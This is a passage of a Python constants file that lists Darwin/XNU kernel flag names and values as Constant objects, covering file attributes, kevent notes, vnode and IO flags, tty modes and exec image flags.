Constant('ATTR_VOL_NAME',0x00002000) ATTR_VOL_MOUNTFLAGS = Constant('ATTR_VOL_MOUNTFLAGS',0x00004000) ATTR_VOL_MOUNTEDDEVICE = Constant('ATTR_VOL_MOUNTEDDEVICE',0x00008000) ATTR_VOL_ENCODINGSUSED = Constant('ATTR_VOL_ENCODINGSUSED',0x00010000) ATTR_VOL_CAPABILITIES = Constant('ATTR_VOL_CAPABILITIES',0x00020000) ATTR_VOL_UUID = Constant('ATTR_VOL_UUID',0x00040000) ATTR_VOL_FSTYPENAME = Constant('ATTR_VOL_FSTYPENAME',0x00100000) ATTR_VOL_FSSUBTYPE = Constant('ATTR_VOL_FSSUBTYPE',0x00200000) ATTR_VOL_SPACEUSED = Constant('ATTR_VOL_SPACEUSED',0x00800000) ATTR_VOL_QUOTA_SIZE = Constant('ATTR_VOL_QUOTA_SIZE',0x10000000) ATTR_VOL_RESERVED_SIZE = Constant('ATTR_VOL_RESERVED_SIZE',0x20000000) ATTR_VOL_ATTRIBUTES = Constant('ATTR_VOL_ATTRIBUTES',0x40000000) ATTR_VOL_INFO = Constant('ATTR_VOL_INFO',0x80000000) ATTR_VOL_VALIDMASK = Constant('ATTR_VOL_VALIDMASK',0xF0B7FFFF) ATTR_VOL_SETMASK = Constant('ATTR_VOL_SETMASK',0x80002000) ATTR_DIR_LINKCOUNT = Constant('ATTR_DIR_LINKCOUNT',0x00000001) ATTR_DIR_ENTRYCOUNT = Constant('ATTR_DIR_ENTRYCOUNT',0x00000002) ATTR_DIR_MOUNTSTATUS = Constant('ATTR_DIR_MOUNTSTATUS',0x00000004) ATTR_DIR_ALLOCSIZE = Constant('ATTR_DIR_ALLOCSIZE',0x00000008) ATTR_DIR_IOBLOCKSIZE = Constant('ATTR_DIR_IOBLOCKSIZE',0x00000010) ATTR_DIR_DATALENGTH = Constant('ATTR_DIR_DATALENGTH',0x00000020) DIR_MNTSTATUS_MNTPOINT = Constant('DIR_MNTSTATUS_MNTPOINT',0x00000001) DIR_MNTSTATUS_TRIGGER = Constant('DIR_MNTSTATUS_TRIGGER',0x00000002) ATTR_DIR_VALIDMASK = Constant('ATTR_DIR_VALIDMASK',0x0000003f) ATTR_DIR_SETMASK = Constant('ATTR_DIR_SETMASK',0x00000000) ATTR_FILE_LINKCOUNT = Constant('ATTR_FILE_LINKCOUNT',0x00000001) ATTR_FILE_TOTALSIZE = Constant('ATTR_FILE_TOTALSIZE',0x00000002) ATTR_FILE_ALLOCSIZE = Constant('ATTR_FILE_ALLOCSIZE',0x00000004) ATTR_FILE_IOBLOCKSIZE = Constant('ATTR_FILE_IOBLOCKSIZE',0x00000008) ATTR_FILE_DEVTYPE = Constant('ATTR_FILE_DEVTYPE',0x00000020) ATTR_FILE_FORKCOUNT = Constant('ATTR_FILE_FORKCOUNT',0x00000080) ATTR_FILE_FORKLIST = Constant('ATTR_FILE_FORKLIST',0x00000100) ATTR_FILE_DATALENGTH = Constant('ATTR_FILE_DATALENGTH',0x00000200) ATTR_FILE_DATAALLOCSIZE = Constant('ATTR_FILE_DATAALLOCSIZE',0x00000400) ATTR_FILE_RSRCLENGTH = Constant('ATTR_FILE_RSRCLENGTH',0x00001000) ATTR_FILE_RSRCALLOCSIZE = Constant('ATTR_FILE_RSRCALLOCSIZE',0x00002000) ATTR_FILE_VALIDMASK = Constant('ATTR_FILE_VALIDMASK',0x000037FF) ATTR_FILE_SETMASK = Constant('ATTR_FILE_SETMASK',0x00000020) ATTR_CMNEXT_RELPATH = Constant('ATTR_CMNEXT_RELPATH',0x00000004) ATTR_CMNEXT_PRIVATESIZE = Constant('ATTR_CMNEXT_PRIVATESIZE',0x00000008) ATTR_CMNEXT_LINKID = Constant('ATTR_CMNEXT_LINKID',0x00000010) ATTR_CMNEXT_NOFIRMLINKPATH = Constant('ATTR_CMNEXT_NOFIRMLINKPATH',0x00000020) ATTR_CMNEXT_REALDEVID = Constant('ATTR_CMNEXT_REALDEVID',0x00000040) ATTR_CMNEXT_REALFSID = Constant('ATTR_CMNEXT_REALFSID',0x00000080) ATTR_CMNEXT_CLONEID = Constant('ATTR_CMNEXT_CLONEID',0x00000100) ATTR_CMNEXT_EXT_FLAGS = Constant('ATTR_CMNEXT_EXT_FLAGS',0x00000200) ATTR_CMNEXT_RECURSIVE_GENCOUNT = Constant('ATTR_CMNEXT_RECURSIVE_GENCOUNT',0x00000400) ATTR_CMNEXT_ATTRIBUTION_TAG = Constant('ATTR_CMNEXT_ATTRIBUTION_TAG',0x00000800) ATTR_CMNEXT_CLONE_REFCNT = Constant('ATTR_CMNEXT_CLONE_REFCNT',0x00001000) ATTR_CMNEXT_VALIDMASK = Constant('ATTR_CMNEXT_VALIDMASK',0x00001ffc) ATTR_CMNEXT_SETMASK = Constant('ATTR_CMNEXT_SETMASK',0x00000000) ATTR_FORK_TOTALSIZE = Constant('ATTR_FORK_TOTALSIZE',0x00000001) ATTR_FORK_ALLOCSIZE = Constant('ATTR_FORK_ALLOCSIZE',0x00000002) ATTR_FORK_RESERVED = Constant('ATTR_FORK_RESERVED',0xffffffff) ATTR_FORK_VALIDMASK = Constant('ATTR_FORK_VALIDMASK',0x00000003) ATTR_FORK_SETMASK = Constant('ATTR_FORK_SETMASK',0x00000000) ATTR_CMN_NAMEDATTRCOUNT = Constant('ATTR_CMN_NAMEDATTRCOUNT',0x00080000) ATTR_CMN_NAMEDATTRLIST = Constant('ATTR_CMN_NAMEDATTRLIST',0x00100000) ATTR_FILE_CLUMPSIZE = Constant('ATTR_FILE_CLUMPSIZE',0x00000010) ATTR_FILE_FILETYPE = Constant('ATTR_FILE_FILETYPE',0x00000040) ATTR_FILE_DATAEXTENTS = Constant('ATTR_FILE_DATAEXTENTS',0x00000800) ATTR_FILE_RSRCEXTENTS = Constant('ATTR_FILE_RSRCEXTENTS',0x00004000) SRCHFS_START = Constant('SRCHFS_START',0x00000001) SRCHFS_MATCHPARTIALNAMES = Constant('SRCHFS_MATCHPARTIALNAMES',0x00000002) SRCHFS_MATCHDIRS = Constant('SRCHFS_MATCHDIRS',0x00000004) SRCHFS_MATCHFILES = Constant('SRCHFS_MATCHFILES',0x00000008) SRCHFS_SKIPLINKS = Constant('SRCHFS_SKIPLINKS',0x00000010) SRCHFS_SKIPINVISIBLE = Constant('SRCHFS_SKIPINVISIBLE',0x00000020) SRCHFS_SKIPPACKAGES = Constant('SRCHFS_SKIPPACKAGES',0x00000040) SRCHFS_SKIPINAPPROPRIATE = Constant('SRCHFS_SKIPINAPPROPRIATE',0x00000080) SRCHFS_NEGATEPARAMS = Constant('SRCHFS_NEGATEPARAMS',0x80000000) SRCHFS_VALIDOPTIONSMASK = Constant('SRCHFS_VALIDOPTIONSMASK',0x800000FF) KEV_ANY_VENDOR = Constant('KEV_ANY_VENDOR',0) KEV_ANY_CLASS = Constant('KEV_ANY_CLASS',0) KEV_ANY_SUBCLASS = Constant('KEV_ANY_SUBCLASS',0) KEV_VENDOR_APPLE = Constant('KEV_VENDOR_APPLE',1) KEV_NETWORK_CLASS = Constant('KEV_NETWORK_CLASS',1) KEV_IOKIT_CLASS = Constant('KEV_IOKIT_CLASS',2) KEV_SYSTEM_CLASS = Constant('KEV_SYSTEM_CLASS',3) KEV_APPLESHARE_CLASS = Constant('KEV_APPLESHARE_CLASS',4) KEV_FIREWALL_CLASS = Constant('KEV_FIREWALL_CLASS',5) KEV_IEEE80211_CLASS = Constant('KEV_IEEE80211_CLASS',6) KEV_NKE_CLASS = Constant('KEV_NKE_CLASS',7) KEV_NKE_ALF_SUBCLASS = Constant('KEV_NKE_ALF_SUBCLASS',1) KEV_NKE_ALF_STATE_CHANGED = Constant('KEV_NKE_ALF_STATE_CHANGED',1) XNU_KERN_EVENT_DATA_SIZE = Constant('XNU_KERN_EVENT_DATA_SIZE',1) KEV_VENDOR_CODE_MAX_STR_LEN = Constant('KEV_VENDOR_CODE_MAX_STR_LEN',200) N_KEV_VECTORS = Constant('N_KEV_VECTORS',5) M_WAITOK = Constant('M_WAITOK',0x0000) M_NOWAIT = Constant('M_NOWAIT',0x0001) M_ZERO = Constant('M_ZERO',0x0004) M_NULL = Constant('M_NULL',0x0008) M_PCB = Constant('M_PCB',4) M_RTABLE = Constant('M_RTABLE',5) M_IFADDR = Constant('M_IFADDR',9) M_SONAME = Constant('M_SONAME',11) M_LOCKF = Constant('M_LOCKF',40) M_TEMP = Constant('M_TEMP',80) M_UDFNODE = Constant('M_UDFNODE',84) M_UDFMNT = Constant('M_UDFMNT',85) M_KAUTH = Constant('M_KAUTH',100) HAVE_VT_LOCKERFS = Constant('HAVE_VT_LOCKERFS',1) VNODE_READ = Constant('VNODE_READ',0x01) VNODE_WRITE = Constant('VNODE_WRITE',0x02) VNODE_BLOCKMAP_NO_TRACK = Constant('VNODE_BLOCKMAP_NO_TRACK',0x04) VNODE_CLUSTER_VERIFY = Constant('VNODE_CLUSTER_VERIFY',0x08) PREALLOCATE = Constant('PREALLOCATE',0x00000001) ALLOCATECONTIG = Constant('ALLOCATECONTIG',0x00000002) ALLOCATEALL = Constant('ALLOCATEALL',0x00000004) ALLOCATEPERSIST = Constant('ALLOCATEPERSIST',0x00000008) ALLOCATEFROMPEOF = Constant('ALLOCATEFROMPEOF',0x00000010) ALLOCATEFROMVOL = Constant('ALLOCATEFROMVOL',0x00000020) IO_UNIT = Constant('IO_UNIT',0x0001) IO_APPEND = Constant('IO_APPEND',0x0002) IO_SYNC = Constant('IO_SYNC',0x0004) IO_NODELOCKED = Constant('IO_NODELOCKED',0x0008) IO_NDELAY = Constant('IO_NDELAY',0x0010) IO_NOZEROFILL = Constant('IO_NOZEROFILL',0x0020) IO_TAILZEROFILL = Constant('IO_TAILZEROFILL',0x0040) IO_HEADZEROFILL = Constant('IO_HEADZEROFILL',0x0080) IO_NOZEROVALID = Constant('IO_NOZEROVALID',0x0100) IO_NOZERODIRTY = Constant('IO_NOZERODIRTY',0x0200) IO_CLOSE = Constant('IO_CLOSE',0x0400) IO_NOCACHE = Constant('IO_NOCACHE',0x0800) IO_RAOFF = Constant('IO_RAOFF',0x1000) IO_DEFWRITE = Constant('IO_DEFWRITE',0x2000) IO_PASSIVE = Constant('IO_PASSIVE',0x4000) IO_NOAUTH = Constant('IO_NOAUTH',0x8000) IO_NODIRECT = Constant('IO_NODIRECT',0x10000) IO_ENCRYPTED = Constant('IO_ENCRYPTED',0x20000) IO_RETURN_ON_THROTTLE = Constant('IO_RETURN_ON_THROTTLE',0x40000) IO_SINGLE_WRITER = Constant('IO_SINGLE_WRITER',0x80000) IO_SYSCALL_DISPATCH = Constant('IO_SYSCALL_DISPATCH',0x100000) IO_SWAP_DISPATCH = Constant('IO_SWAP_DISPATCH',0x200000) IO_SKIP_ENCRYPTION = Constant('IO_SKIP_ENCRYPTION',0x400000) IO_EVTONLY = Constant('IO_EVTONLY',0x800000) IO_NOCACHE_SYSSPACE = Constant('IO_NOCACHE_SYSSPACE',0x1000000) IO_NOCACHE_SWRITE = Constant('IO_NOCACHE_SWRITE',0x2000000) LOOKUP = Constant('LOOKUP',0) CREATE = Constant('CREATE',1) DELETE = Constant('DELETE',2) RENAME = Constant('RENAME',3) OPMASK = Constant('OPMASK',3) FOLLOW = Constant('FOLLOW',0x00000040) ISDOTDOT = Constant('ISDOTDOT',0x00002000) MAKEENTRY = Constant('MAKEENTRY',0x00004000) ISLASTCN = Constant('ISLASTCN',0x00008000) VNFS_NOCACHE = Constant('VNFS_NOCACHE',0x01) VNFS_CANTCACHE = Constant('VNFS_CANTCACHE',0x02) VNFS_ADDFSREF = Constant('VNFS_ADDFSREF',0x04) VNCREATE_FLAVOR = Constant('VNCREATE_FLAVOR',0) VA_UTIMES_NULL = Constant('VA_UTIMES_NULL',0x010000) VA_EXCLUSIVE = Constant('VA_EXCLUSIVE',0x020000) VA_NOINHERIT = Constant('VA_NOINHERIT',0x040000) VA_NOAUTH = Constant('VA_NOAUTH',0x080000) VA_64BITOBJIDS = Constant('VA_64BITOBJIDS',0x100000) VA_REALFSID = Constant('VA_REALFSID',0x200000) VA_USEFSID = Constant('VA_USEFSID',0x400000) VA_FILESEC_ACL = Constant('VA_FILESEC_ACL',0x800000) VSUID = Constant('VSUID',0x800) VSGID = Constant('VSGID',0x400) VSVTX = Constant('VSVTX',0x200) VREAD = Constant('VREAD',0x100) VWRITE = Constant('VWRITE',0x080) VEXEC = Constant('VEXEC',0x040) SKIPSYSTEM = Constant('SKIPSYSTEM',0x0001) FORCECLOSE = Constant('FORCECLOSE',0x0002) WRITECLOSE = Constant('WRITECLOSE',0x0004) SKIPSWAP = Constant('SKIPSWAP',0x0008) SKIPROOT = Constant('SKIPROOT',0x0010) DOCLOSE = Constant('DOCLOSE',0x0008) V_SAVE = Constant('V_SAVE',0x0001) V_SAVEMETA = Constant('V_SAVEMETA',0x0002) REVOKEALL = Constant('REVOKEALL',0x0001) VNODE_REMOVE_NODELETEBUSY = Constant('VNODE_REMOVE_NODELETEBUSY',0x0001) VNODE_REMOVE_SKIP_NAMESPACE_EVENT = Constant('VNODE_REMOVE_SKIP_NAMESPACE_EVENT',0x0002) VNODE_REMOVE_NO_AUDIT_PATH = Constant('VNODE_REMOVE_NO_AUDIT_PATH',0x0004) VNODE_REMOVE_DATALESS_DIR = Constant('VNODE_REMOVE_DATALESS_DIR',0x0008) VNODE_READDIR_EXTENDED = Constant('VNODE_READDIR_EXTENDED',0x0001) VNODE_READDIR_REQSEEKOFF = Constant('VNODE_READDIR_REQSEEKOFF',0x0002) VNODE_READDIR_SEEKOFF32 = Constant('VNODE_READDIR_SEEKOFF32',0x0004) VNODE_READDIR_NAMEMAX = Constant('VNODE_READDIR_NAMEMAX',0x0008) VNODE_CLONEFILE_DEFAULT = Constant('VNODE_CLONEFILE_DEFAULT',0x0000) VNODE_CLONEFILE_NOOWNERCOPY = Constant('VNODE_CLONEFILE_NOOWNERCOPY',0x0001) VNODE_ASYNC_THROTTLE = Constant('VNODE_ASYNC_THROTTLE',15) VNODE_UPDATE_PARENT = Constant('VNODE_UPDATE_PARENT',0x01) VNODE_UPDATE_NAME = Constant('VNODE_UPDATE_NAME',0x02) VNODE_UPDATE_CACHE = Constant('VNODE_UPDATE_CACHE',0x04) VNODE_UPDATE_PURGE = Constant('VNODE_UPDATE_PURGE',0x08) VNODE_LOOKUP_NOFOLLOW = Constant('VNODE_LOOKUP_NOFOLLOW',0x01) VNODE_LOOKUP_NOCROSSMOUNT = Constant('VNODE_LOOKUP_NOCROSSMOUNT',0x02) VNODE_LOOKUP_CROSSMOUNTNOWAIT = Constant('VNODE_LOOKUP_CROSSMOUNTNOWAIT',0x04) VNODE_LOOKUP_NOFOLLOW_ANY = Constant('VNODE_LOOKUP_NOFOLLOW_ANY',0x08) VNODE_RELOAD = Constant('VNODE_RELOAD',0x01) VNODE_WAIT = Constant('VNODE_WAIT',0x02) VNODE_WRITEABLE = Constant('VNODE_WRITEABLE',0x04) VNODE_WITHID = Constant('VNODE_WITHID',0x08) VNODE_NOLOCK_INTERNAL = Constant('VNODE_NOLOCK_INTERNAL',0x10) VNODE_NODEAD = Constant('VNODE_NODEAD',0x20) VNODE_NOSUSPEND = Constant('VNODE_NOSUSPEND',0x40) VNODE_ITERATE_ALL = Constant('VNODE_ITERATE_ALL',0x80) VNODE_ITERATE_ACTIVE = Constant('VNODE_ITERATE_ACTIVE',0x100) VNODE_ITERATE_INACTIVE = Constant('VNODE_ITERATE_INACTIVE',0x200) VNODE_RETURNED = Constant('VNODE_RETURNED',0) VNODE_RETURNED_DONE = Constant('VNODE_RETURNED_DONE',1) VNODE_CLAIMED = Constant('VNODE_CLAIMED',2) VNODE_CLAIMED_DONE = Constant('VNODE_CLAIMED_DONE',3) IOCS_BUFFER_NUM_SIZE_BUCKETS = Constant('IOCS_BUFFER_NUM_SIZE_BUCKETS',10) IOCS_BUFFER_MAX_BUCKET = Constant('IOCS_BUFFER_MAX_BUCKET',9) IOCS_BUFFER_NUM_COMPRESSION_BUCKETS = Constant('IOCS_BUFFER_NUM_COMPRESSION_BUCKETS',7) IOCS_BLOCK_NUM_SIZE_BUCKETS = Constant('IOCS_BLOCK_NUM_SIZE_BUCKETS',16) IOCS_SBE_PATH_LEN = Constant('IOCS_SBE_PATH_LEN',128) IOCS_PATH_START_BYTES_TO_COPY = Constant('IOCS_PATH_START_BYTES_TO_COPY',108) IOCS_PATH_END_BYTES_TO_COPY = Constant('IOCS_PATH_END_BYTES_TO_COPY',20) IOCS_SYSCTL_LIVE = Constant('IOCS_SYSCTL_LIVE',0x00000001) IOCS_SYSCTL_STORE_BUFFER_RD_ONLY = Constant('IOCS_SYSCTL_STORE_BUFFER_RD_ONLY',0x00000002) IOCS_SYSCTL_STORE_BUFFER_MARK = Constant('IOCS_SYSCTL_STORE_BUFFER_MARK',0x00000004) TANDEM = Constant('TANDEM',0x00000001) CBREAK = Constant('CBREAK',0x00000002) LCASE = Constant('LCASE',0x00000004) ECHO = Constant('ECHO',0x00000008) CRMOD = Constant('CRMOD',0x00000010) RAW = Constant('RAW',0x00000020) ODDP = Constant('ODDP',0x00000040) EVENP = Constant('EVENP',0x00000080) ANYP = Constant('ANYP',0x000000c0) NLDELAY = Constant('NLDELAY',0x00000300) TBDELAY = Constant('TBDELAY',0x00000c00) XTABS = Constant('XTABS',0x00000c00) CRDELAY = Constant('CRDELAY',0x00003000) VTDELAY = Constant('VTDELAY',0x00004000) BSDELAY = Constant('BSDELAY',0x00008000) NL0 = Constant('NL0',0x00000000) NL1 = Constant('NL1',0x00000100) NL2 = Constant('NL2',0x00000200) NL3 = Constant('NL3',0x00000300) TAB0 = Constant('TAB0',0x00000000) TAB1 = Constant('TAB1',0x00000400) TAB2 = Constant('TAB2',0x00000800) CR0 = Constant('CR0',0x00000000) CR1 = Constant('CR1',0x00001000) CR2 = Constant('CR2',0x00002000) CR3 = Constant('CR3',0x00003000) FF0 = Constant('FF0',0x00000000) FF1 = Constant('FF1',0x00004000) BS0 = Constant('BS0',0x00000000) BS1 = Constant('BS1',0x00008000) CRTBS = Constant('CRTBS',0x00010000) PRTERA = Constant('PRTERA',0x00020000) CRTERA = Constant('CRTERA',0x00040000) TILDE = Constant('TILDE',0x00080000) MDMBUF = Constant('MDMBUF',0x00100000) LITOUT = Constant('LITOUT',0x00200000) TOSTOP = Constant('TOSTOP',0x00400000) FLUSHO = Constant('FLUSHO',0x00800000) NOHANG = Constant('NOHANG',0x01000000) L001000 = Constant('L001000',0x02000000) CRTKIL = Constant('CRTKIL',0x04000000) PASS8 = Constant('PASS8',0x08000000) CTLECH = Constant('CTLECH',0x10000000) PENDIN = Constant('PENDIN',0x20000000) DECCTQ = Constant('DECCTQ',0x40000000) NOFLSH = Constant('NOFLSH',0x80000000) OTTYDISC = Constant('OTTYDISC',0) NETLDISC = Constant('NETLDISC',1) NTTYDISC = Constant('NTTYDISC',2) LOCKLEAF = Constant('LOCKLEAF',0x0004) LOCKPARENT = Constant('LOCKPARENT',0x0008) WANTPARENT = Constant('WANTPARENT',0x0010) UIO_MAXIOV = Constant('UIO_MAXIOV',1024) UIO_SMALLIOV = Constant('UIO_SMALLIOV',8) EVFILT_SYSCOUNT = Constant('EVFILT_SYSCOUNT',18) KEVENT_FLAG_NONE = Constant('KEVENT_FLAG_NONE',0x000000) KEVENT_FLAG_IMMEDIATE = Constant('KEVENT_FLAG_IMMEDIATE',0x000001) KEVENT_FLAG_ERROR_EVENTS = Constant('KEVENT_FLAG_ERROR_EVENTS',0x000002) EV_ADD = Constant('EV_ADD',0x0001) EV_DELETE = Constant('EV_DELETE',0x0002) EV_ENABLE = Constant('EV_ENABLE',0x0004) EV_DISABLE = Constant('EV_DISABLE',0x0008) EV_ONESHOT = Constant('EV_ONESHOT',0x0010) EV_CLEAR = Constant('EV_CLEAR',0x0020) EV_RECEIPT = Constant('EV_RECEIPT',0x0040) EV_DISPATCH = Constant('EV_DISPATCH',0x0080) EV_UDATA_SPECIFIC = Constant('EV_UDATA_SPECIFIC',0x0100) EV_VANISHED = Constant('EV_VANISHED',0x0200) EV_SYSFLAGS = Constant('EV_SYSFLAGS',0xF000) EV_FLAG0 = Constant('EV_FLAG0',0x1000) EV_FLAG1 = Constant('EV_FLAG1',0x2000) EV_EOF = Constant('EV_EOF',0x8000) EV_ERROR = Constant('EV_ERROR',0x4000) NOTE_TRIGGER = Constant('NOTE_TRIGGER',0x01000000) NOTE_FFNOP = Constant('NOTE_FFNOP',0x00000000) NOTE_FFAND = Constant('NOTE_FFAND',0x40000000) NOTE_FFOR = Constant('NOTE_FFOR',0x80000000) NOTE_FFCOPY = Constant('NOTE_FFCOPY',0xc0000000) NOTE_FFCTRLMASK = Constant('NOTE_FFCTRLMASK',0xc0000000) NOTE_FFLAGSMASK = Constant('NOTE_FFLAGSMASK',0x00ffffff) NOTE_LOWAT = Constant('NOTE_LOWAT',0x00000001) NOTE_OOB = Constant('NOTE_OOB',0x00000002) NOTE_DELETE = Constant('NOTE_DELETE',0x00000001) NOTE_WRITE = Constant('NOTE_WRITE',0x00000002) NOTE_EXTEND = Constant('NOTE_EXTEND',0x00000004) NOTE_ATTRIB = Constant('NOTE_ATTRIB',0x00000008) NOTE_LINK = Constant('NOTE_LINK',0x00000010) NOTE_RENAME = Constant('NOTE_RENAME',0x00000020) NOTE_REVOKE = Constant('NOTE_REVOKE',0x00000040) NOTE_NONE = Constant('NOTE_NONE',0x00000080) NOTE_FUNLOCK = Constant('NOTE_FUNLOCK',0x00000100) NOTE_LEASE_DOWNGRADE = Constant('NOTE_LEASE_DOWNGRADE',0x00000200) NOTE_LEASE_RELEASE = Constant('NOTE_LEASE_RELEASE',0x00000400) NOTE_EXIT = Constant('NOTE_EXIT',0x80000000) NOTE_FORK = Constant('NOTE_FORK',0x40000000) NOTE_EXEC = Constant('NOTE_EXEC',0x20000000) NOTE_SIGNAL = Constant('NOTE_SIGNAL',0x08000000) NOTE_EXITSTATUS = Constant('NOTE_EXITSTATUS',0x04000000) NOTE_EXIT_DETAIL = Constant('NOTE_EXIT_DETAIL',0x02000000) NOTE_PDATAMASK = Constant('NOTE_PDATAMASK',0x000fffff) NOTE_EXIT_DETAIL_MASK = Constant('NOTE_EXIT_DETAIL_MASK',0x00070000) NOTE_EXIT_DECRYPTFAIL = Constant('NOTE_EXIT_DECRYPTFAIL',0x00010000) NOTE_EXIT_MEMORY = Constant('NOTE_EXIT_MEMORY',0x00020000) NOTE_EXIT_CSERROR = Constant('NOTE_EXIT_CSERROR',0x00040000) NOTE_VM_PRESSURE = Constant('NOTE_VM_PRESSURE',0x80000000) NOTE_VM_PRESSURE_TERMINATE = Constant('NOTE_VM_PRESSURE_TERMINATE',0x40000000) NOTE_VM_PRESSURE_SUDDEN_TERMINATE = Constant('NOTE_VM_PRESSURE_SUDDEN_TERMINATE',0x20000000) NOTE_VM_ERROR = Constant('NOTE_VM_ERROR',0x10000000) NOTE_SECONDS = Constant('NOTE_SECONDS',0x00000001) NOTE_USECONDS = Constant('NOTE_USECONDS',0x00000002) NOTE_NSECONDS = Constant('NOTE_NSECONDS',0x00000004) NOTE_ABSOLUTE = Constant('NOTE_ABSOLUTE',0x00000008) NOTE_LEEWAY = Constant('NOTE_LEEWAY',0x00000010) NOTE_CRITICAL = Constant('NOTE_CRITICAL',0x00000020) NOTE_BACKGROUND = Constant('NOTE_BACKGROUND',0x00000040) NOTE_MACH_CONTINUOUS_TIME = Constant('NOTE_MACH_CONTINUOUS_TIME',0x00000080) NOTE_MACHTIME = Constant('NOTE_MACHTIME',0x00000100) NOTE_TRACK = Constant('NOTE_TRACK',0x00000001) NOTE_TRACKERR = Constant('NOTE_TRACKERR',0x00000002) NOTE_CHILD = Constant('NOTE_CHILD',0x00000004) VMADDR_CID_HYPERVISOR = Constant('VMADDR_CID_HYPERVISOR',0) VMADDR_CID_RESERVED = Constant('VMADDR_CID_RESERVED',1) VMADDR_CID_HOST = Constant('VMADDR_CID_HOST',2) IMG_SHSIZE = Constant('IMG_SHSIZE',512) IMGPF_NONE = Constant('IMGPF_NONE',0x00000000) IMGPF_INTERPRET = Constant('IMGPF_INTERPRET',0x00000001) IMGPF_RESERVED = Constant('IMGPF_RESERVED',0x00000002) IMGPF_WAS_64BIT_ADDR = Constant('IMGPF_WAS_64BIT_ADDR',0x00000004) IMGPF_IS_64BIT_ADDR = Constant('IMGPF_IS_64BIT_ADDR',0x00000008) IMGPF_SPAWN = Constant('IMGPF_SPAWN',0x00000010) IMGPF_DISABLE_ASLR = Constant('IMGPF_DISABLE_ASLR',0x00000020) IMGPF_ALLOW_DATA_EXEC = Constant('IMGPF_ALLOW_DATA_EXEC',0x00000040) IMGPF_3P_PLUGINS = Constant('IMGPF_3P_PLUGINS',0x00000080) IMGPF_EXEC = Constant('IMGPF_EXEC',0x00000100) IMGPF_HIGH_BITS_ASLR = Constant('IMGPF_HIGH_BITS_ASLR',0x00000200) IMGPF_IS_64BIT_DATA = Constant('IMGPF_IS_64BIT_DATA',0x00000400) IMGPF_DRIVER = Constant('IMGPF_DRIVER',0x00000800) IMGPF_RESLIDE = Constant('IMGPF_RESLIDE',0x00001000) IMGPF_PLUGIN_HOST_DISABLE_A_KEYS = Constant('IMGPF_PLUGIN_HOST_DISABLE_A_KEYS',0x00002000) IMGPF_HW_TPRO = Constant('IMGPF_HW_TPRO',0x00004000) IMGPF_ROSETTA = Constant('IMGPF_ROSETTA',0x10000000) IMGPF_ALT_ROSETTA = Constant('IMGPF_ALT_ROSETTA',0x20000000) IMGPF_RESERVED_2 = Constant('IMGPF_RESERVED_2',0x40000000) IMGPF_NOJOP = Constant('IMGPF_NOJOP',0x80000000) IMGPF_SB_DEFAULT = Constant('IMGPF_SB_DEFAULT',0) IMGPF_SB_TRUE = Constant('IMGPF_SB_TRUE',1) IMGPF_SB_FALSE = Constant('IMGPF_SB_FALSE',2) _POSIX_THREAD_KEYS_MAX = Constant('_POSIX_THREAD_KEYS_MAX',128) F_OK = Constant('F_OK',0) ACCESSX_MAX_DESCRIPTORS = Constant('ACCESSX_MAX_DESCRIPTORS',100) _PC_LINK_MAX = Constant('_PC_LINK_MAX',1) _PC_MAX_CANON = Constant('_PC_MAX_CANON',2) _PC_MAX_INPUT = Constant('_PC_MAX_INPUT',3) _PC_NAME_MAX = Constant('_PC_NAME_MAX',4) _PC_PATH_MAX = Constant('_PC_PATH_MAX',5) _PC_PIPE_BUF = Constant('_PC_PIPE_BUF',6) _PC_CHOWN_RESTRICTED = Constant('_PC_CHOWN_RESTRICTED',7) _PC_NO_TRUNC = Constant('_PC_NO_TRUNC',8) _PC_VDISABLE = Constant('_PC_VDISABLE',9) _PC_NAME_CHARS_MAX = Constant('_PC_NAME_CHARS_MAX',10) _PC_CASE_SENSITIVE = Constant('_PC_CASE_SENSITIVE',11) _PC_CASE_PRESERVING = Constant('_PC_CASE_PRESERVING',12) _PC_EXTENDED_SECURITY_NP = Constant('_PC_EXTENDED_SECURITY_NP',13) _PC_AUTH_OPAQUE_NP = Constant('_PC_AUTH_OPAQUE_NP',14) _PC_2_SYMLINKS = Constant('_PC_2_SYMLINKS',15) _PC_ALLOC_SIZE_MIN = Constant('_PC_ALLOC_SIZE_MIN',16) _PC_ASYNC_IO = Constant('_PC_ASYNC_IO',17) _PC_FILESIZEBITS = Constant('_PC_FILESIZEBITS',18) _PC_PRIO_IO = Constant('_PC_PRIO_IO',19) _PC_REC_INCR_XFER_SIZE = Constant('_PC_REC_INCR_XFER_SIZE',20) _PC_REC_MAX_XFER_SIZE = Constant('_PC_REC_MAX_XFER_SIZE',21) _PC_REC_MIN_XFER_SIZE = Constant('_PC_REC_MIN_XFER_SIZE',22) _PC_REC_XFER_ALIGN = Constant('_PC_REC_XFER_ALIGN',23) _PC_SYMLINK_MAX = Constant('_PC_SYMLINK_MAX',24) _PC_SYNC_IO = Constant('_PC_SYNC_IO',25) _PC_XATTR_SIZE_BITS = Constant('_PC_XATTR_SIZE_BITS',26) _PC_MIN_HOLE_SIZE = Constant('_PC_MIN_HOLE_SIZE',27) _CS_PATH = Constant('_CS_PATH',1) _SYS_CONF_H_ = Constant('_SYS_CONF_H_',1) D_TAPE = Constant('D_TAPE',1) D_DISK = Constant('D_DISK',2) D_TTY = Constant('D_TTY',3) WNOHANG = Constant('WNOHANG',0x00000001) WUNTRACED = Constant('WUNTRACED',0x00000002) WCOREFLAG = Constant('WCOREFLAG',0o0200) _WSTOPPED = Constant('_WSTOPPED',0o0177) WEXITED = Constant('WEXITED',0x00000004) WSTOPPED = Constant('WSTOPPED',0x00000008) WCONTINUED = Constant('WCONTINUED',0x00000010) WNOWAIT = Constant('WNOWAIT',0x00000020) WAIT_MYPGRP = Constant('WAIT_MYPGRP',0) PRIO_DARWIN_GPU = Constant('PRIO_DARWIN_GPU',5) PRIO_DARWIN_GPU_ALLOW = Constant('PRIO_DARWIN_GPU_ALLOW',0x1) PRIO_DARWIN_GPU_DENY = Constant('PRIO_DARWIN_GPU_DENY',0x2) PRIO_DARWIN_ROLE = Constant('PRIO_DARWIN_ROLE',6) PRIO_DARWIN_ROLE_DEFAULT = Constant('PRIO_DARWIN_ROLE_DEFAULT',0x0) PRIO_DARWIN_ROLE_UI_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_FOCAL',0x1) PRIO_DARWIN_ROLE_UI = Constant('PRIO_DARWIN_ROLE_UI',0x2) PRIO_DARWIN_ROLE_NON_UI = Constant('PRIO_DARWIN_ROLE_NON_UI',0x3) PRIO_DARWIN_ROLE_UI_NON_FOCAL = Constant('PRIO_DARWIN_ROLE_UI_NON_FOCAL',0x4) PRIO_DARWIN_ROLE_TAL_LAUNCH = 